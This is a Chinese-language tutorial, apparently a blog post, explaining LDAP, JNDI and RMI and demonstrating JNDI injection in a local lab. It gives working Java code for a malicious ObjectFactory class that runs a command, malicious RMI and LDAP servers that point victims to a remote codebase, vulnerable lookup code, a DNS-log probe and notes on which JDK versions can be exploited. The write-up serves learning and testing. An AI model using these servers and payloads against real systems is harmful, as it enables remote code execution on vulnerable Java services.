文章目录
- 1、Jndi、Ldap、Rmi协议
- 1.1、什么是ladp协议
- 1.2、jndi协议
- 1.3、rmi协议
- 2、jndi注入
- 2.1、简介与jdk版本限制
- 2.2、rmi协议的利用
- 2.2.1、更换idea的执行jdk版本
- 2.2.2、生成恶意class文件payload
- 2.2.3、模拟测试低版本jdk
- 2.2.4、模拟高版本测试
- 2.3、rmi攻击的疑问之两个两个步骤
- 3、ladp协议利用
- 3.1、测试ldap
- 3.2、不同jdk版本的测试
- 4、dns探测
1、Jndi、Ldap、Rmi协议
1.1、什么是ladp协议
LDAP(Lightweight Directory Access Protocol)是一种用于访问和维护分布式目录信息的协议。
官方说法总是比较绕,举个ldap的例子,
假设有一个大型公司,该公司的员工和组织结构分布在多个地区和部门。
为了有效地管理所有员工的信息和公司的组织结构,
该公司决定使用LDAP来创建一个分布式目录服务。
在这个LDAP目录中,每个员工都有一个唯一的标识(通常是DN,即Distinguished Name),
类似于身份证号码。每个员工的信息都以条目(Entry)的形式存储在目录中。例如:
DN: cn=John Doe, ou=Sales, dc=company, dc=com
(其中,cn代表Common Name,ou代表Organizational Unit,dc代表Domain Component)
这条条目表示一个名为"John Doe"的员工,
他隶属于"Sales"部门,所在的公司域名为"company.com"。
LDAP允许执行各种查询,例如:
查询所有在"Sales"部门工作的员工列表。
查询特定员工的联系信息(例如,通过员工的Common Name来查找其电话号码)。
更新员工信息(例如,更改电话号码)。
添加新的员工信息。
稍微引申,类似的效果,如mysql这种数据库似乎也可以,为什么没有使用msyql数据库?
看下chatgpt的回答,
综上所述,大部分的公司的域控管理(需要定位到部门和具体员工的软件)都会对接使用ldap
1.2、jndi协议
上面我们了解了什么是ladp协议,那么在Java程序中,
就是通过JNDI协议来操作(增删改查)LDAP服务中的数据。
jndi可以理解为java程序提供的一个统一的api接口,
通过jndi我们不仅可以操作ldap服务中的数据,还可以联动操作其他的服务协议,
比如:JDBC、LDAP、RMI、DNS、NIS、CORBA
在这些协议中,安全从业者用的比较多的就是 LADP、RMI、DNS
1.3、rmi协议
在了解了jndi与ldap协议之后,还有dns和rmi,
dns就是域名解析,这个大家基本都有一个概念,
这里就稍微展开一些rmi协议,
RMI(Remote Method Invocation)是Java语言中用于实现远程过程调用的机制。
它允许在不同Java虚拟机(JVM)上运行的程序之间通过网络通信来进行方法调用和数据传输,
实现分布式计算和远程服务调用。
个人的理解就是我写好一些方法,放到网络服务上,大家不必关系这些方法具体是如何实现的,
直接通过rmi协议加载调用即可,和一些web的api的功能类似。
需要注意的是,RMI是Java特有的远程调用机制,它只适用于Java之间的通信。
在现代的分布式系统中,
更常见的做法是使用Web服务(如RESTful API和SOAP)或消息队列(如RabbitMQ和Apache Kafka)等跨平台、跨语言的远程调用方式。
另外需要注意的就是,定义远程接口和实现都有一定的格式和要求
举例子说明,
一个简单的接口RemoteCalculator表示远程计算器,
其中定义了两个方法:
add和subtract,用于执行远程加法和减法操作。
- 定义远程接口:
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface RemoteCalculator extends Remote {
int add(int a, int b) throws RemoteException;
int subtract(int a, int b) throws RemoteException;
}
- 实现远程接口:
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class CalculatorImpl extends UnicastRemoteObject implements RemoteCalculator {
public CalculatorImpl() throws RemoteException {
// 构造函数需要抛出RemoteException
}
public int add(int a, int b) throws RemoteException {
return a + b;
}
public int subtract(int a, int b) throws RemoteException {
return a - b;
}
}
- 服务器端:
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) {
try {
// 创建远程对象
RemoteCalculator calculator = new CalculatorImpl();
// 启动RMI Registry,监听默认端口1099
Registry registry = LocateRegistry.createRegistry(1099);
// 将远程对象绑定到RMI Registry上,客户端将通过该名称来查找远程对象
registry.rebind("Calculator", calculator);
System.out.println("服务器已启动...");
} catch (Exception e) {
e.printStackTrace();
}
}
}
- 客户端:
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
public static void main(String[] args) {
try {
// 连接到RMI Registry
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
// 在RMI Registry中查找远程对象
RemoteCalculator calculator = (RemoteCalculator) registry.lookup("Calculator");
// 调用远程方法
int resultAdd = calculator.add(10, 5);
int resultSubtract = calculator.subtract(10, 5);
System.out.println("10 + 5 = " + resultAdd);
System.out.println("10 - 5 = " + resultSubtract);
} catch (Exception e) {
e.printStackTrace();
}
}
}
在这个例子中,我们创建了一个简单的RMI服务器和客户端。
服务器端创建了CalculatorImpl对象,并将其绑定到RMI Registry上。
客户端通过RMI Registry查找到Calculator对象,并调用其中的远程方法进行计算。
这样,客户端就可以在远程调用的帮助下执行服务器端的方法,并获得计算结果。
2、jndi注入
2.1、简介与jdk版本限制
JNDI 注⼊,即当开发者在定义 JNDI 接⼝初始化时,lookup() ⽅法的参数可控,
攻击者就可以将恶意的url 传⼊参数远程加载恶意载荷,造成注⼊攻击。
其中使用ladp协议多,rmi协议用的少是因为高版本默认不能直接使用rmi协议
漏洞代码demo,
代码中定义了 uri 变量,uri 变量可控,并定义了⼀个 rmi 协议服务,
rmi://127.0.0.1:1099/Exploit 为攻击者控制的链接,
最后使⽤ lookup() 函数进⾏远程获取 Exploit 类
(Exploit 类名为攻击者定义,理论任意),并执⾏它
package com.example.demo2;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/Exploit"; // 指定查找的 uri 变量
InitialContext initialContext = new InitialContext(); // 得到初始⽬录环境的⼀个引⽤
initialContext.lookup(uri); // 获取指定的远程对象
}
}
常见的攻击流程
2.2、rmi协议的利用
先说下rmi协议的利用,需要注意的是
当前的jdk版本是 jdk112,jdk113以后 不存在此漏洞 ⼤多数⽤ldap协议攻击
2.2.1、更换idea的执行jdk版本
所以,我们先加载几个jdk的版本到idea,然后修改项目执行的jdk版本,
需要先将一些常用的jdk版本都收集下,直接解压,加载目录选择bin上一层即可
接着配置本项目使用哪个jdk运行,我们先配置一个低版本的jdk
2.2.2、生成恶意class文件payload
根据上边的流程,我们先构建下最终的恶意payload,实现弹出计算器
注意,这个exp,不要放在这种“com.example.demo2”包内,
这样生成的class文件被目标服务器加载会报错,
右击选择“重新构建”,选择“构建模块”的话,仅仅会在第一次生成class文件,
假设删除这个class文件,在“构建模块”就不会重新生成class文件,“重新构建”就ok
生成的class文件在这个target文件夹内可以找到
然后将这个生成的class文件放到kali机器上,开启http服务等待受害者机器来请求
代码,
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
//package com.example.demo2; 增加会出错
public class jndiexp implements ObjectFactory {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
2.2.3、模拟测试低版本jdk
目前版本:1.8.0_65
黑客准备的恶意rmi服务,java文件
RMI_Hack_Server.java
将上面生成的class文件放到了另一个kali机器上,这个Reference函数的第一个参数任意写,
第二个参数就是上面class文件的名称(不用加.class);第三个参数是class文件的http地址
package com.example.demo2;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMI_Hack_Server {
public static void main(String[] args) throws Exception {
//System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true ");
//监听RMI服务端⼝
Registry registry = LocateRegistry.createRegistry(7778);
创建⼀个远程的JNDI对象⼯⼚类的引⽤对象 第一个参数任意写
Reference reference = new Reference("jndiexp", "jndiexp", "http://192.168.1.27:8081/");
// 转换为RMI引⽤对象,
// 因为Reference没有实现Remote接⼝也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中⼼,
// 所以需要使⽤ReferenceWrapper对Reference的实例进⾏⼀个封装。
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
//绑定⼀个恶意的Remote对象到RMI服务
registry.bind("exp", wrapper);
}
}
这个是受害者的业务代码,
Rmi_Target_Server.java
package com.example.demo2;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Rmi_Target_Server {
public static void main(String[] args) throws NamingException, NamingException {
String uri = "rmi://127.0.0.1:7778/exp";
//System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
//初始化上下⽂
InitialContext initialContext = new InitialContext();
// 获取RMI绑定的恶意ReferenceWrapper对象
initialContext.lookup(uri);
}
}
先执行RMI_Hack_Server.java,在执行Rmi_Target_Server.java
直接弹出了计算器,但是我们kali并没有接收到请求。
这是因为rmi在利用的过程之中,会先尝试读取本地的class,本地不存在才会去读取远程的,
所以本地做实验,记得把生成的class删除,
在次运行Rmi_Target_Server.java即可
2.2.4、模拟高版本测试
上面jdk版本是1.8_65,将测试jdk换为1.8_151
此时就需要设置参数了,这行代码是用于设置Java系统属性,具体作用如下:
在Java中,当使用RMI(远程方法调用)技术进行远程通信时,
可能会涉及到Java对象的序列化和反序列化,其中涉及到URL的使用。
RMI允许在网络上传递Java对象,这些对象可以是在本地计算机上创建的,也可以是远程计算机上创建的。
此参数在低版本的jdk是默认开启的,但高一些的就默认是false,所以需要手动开启
假设不设置会报错,
设置此代码之后,一样可以弹出计算器,
上面jdk版本是1.8_151,将测试jdk换为1.8_202,再次进行测试
发现即使设置了com.sun.jndi.rmi.object.trustURLCodebase属性为true
也没有发出http请求,更不要说弹计算器了
假设不设置com.sun.jndi.rmi.object.trustURLCodebase属性为true,也是直接报错
所以在高版本的jdk,ldap会使用的比较多
2.3、rmi攻击的疑问之两个两个步骤
笔者在学习这个漏洞的时候就在思考一个问题,还是先看完整的攻击流程,
当时的疑问是,
为什么需要两步骤,即先请求rmi服务器拿到“恶意代码1”
然后根据返回的“恶意代码1”去请求http服务拿到“恶意代码2”
在执行“恶意代码2”的内容,完成攻击
直接第一步就返回恶意代码,返回让目标服务器执行不就好了
这个和rmi服务的本质运转模式有关系,先简单回顾rmi服务的作用
rmi服务就是让a服务器上的jvm虚拟器运行远程网上上b服务器上的java函数
在这这个过程之中,rmi服务器的作用是类似 DNS 服务器的角色。
RMI 注册表类似于一个名字服务,它允许客户端通过指定的名称查找远程资源,
类似于 DNS 允许客户端通过域名查找服务器的 IP 地址。
在整个攻击过程中,RMI 服务器实际上只充当了“资源指向”的作用,就像一个名字服务一样,
将客户端的查询请求映射到相应的远程对象。攻击者利用 RMI 注入漏洞来控制客户端查询的结果,
使其获取恶意的远程资源,然后执行恶意代码。
简单的小结下,
rmi客户端(目标服务器)需要请求一个rmi服务器(hacker搭建的),
只能拿到一个要执行函数名称yy和这个函数的地址xx
然后rmi客户端在请求http://xx/yy拿到最终的恶意代码,然后执行
rmi服务器就不能返回“最终的恶意代码”,这个和整个rmi服务架构设计的流程有关
rmi服务器的作用就是返回“要执行的函数名称”和这个函数在哪里
而对于 LDAP 协议,攻击者同样可以在恶意服务器上创建恶意的 LDAP 资源,
例如恶意的 LDAP 对象或恶意的 LDAP URL。当客户端执行 JNDI 查询时,
会连接到恶意的 LDAP 服务器,并获取恶意资源。
在这两种协议中,恶意的服务器充当了 "资源指向" 的角色,
将客户端的查询请求指向恶意资源。客户端不知情地获取到了恶意的资源,
并在后续操作中可能触发恶意代码的执行。
以上都是笔者的理解,有问题,欢迎各位来指导沟通
3、ladp协议利用
3.1、测试ldap
先配置环境pom.xml,
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>6.0.8</version>
</dependency>
然后测试和上面一致,下边是代码。
注意,修改pom文件之后,重新构造项目本地还会在生成jndiexp.class文件
而本地有这个文件,服务器就不会去远程读取,记得删除这个生成的文件
ldap_Hack_server.java
package com.example.demo2;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class ldap_Hack_server {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://192.168.1.27:8081/#jndiexp"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult
result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
ldap_target_Server.java
package com.example.demo2;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class ldap_target_Server {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
initialContext.lookup("ldap://127.0.0.1:7777/Exp");
}
}
3.2、不同jdk版本的测试
使用1.8_65和1.8_151都可以直接触发,
也不用设置“com.sun.jndi.rmi.object.trustURLCodebase”属性
但是1.8_202还是j了,
即使设置“com.sun.jndi.rmi.object.trustURLCodebase”属性,也没有发出请求
4、dns探测
不受jdk版本限制,不能直接利用,可以用于探测漏洞是否存在,
虽然报错了,但是还是去访问了,
代码,
package com.example.demo2;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class ldap_target_Server {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
//initialContext.lookup("ldap://127.0.0.1:7777/Exp");
initialContext.lookup("dns://dns.y6u1ft.dnslog.cn");
}
}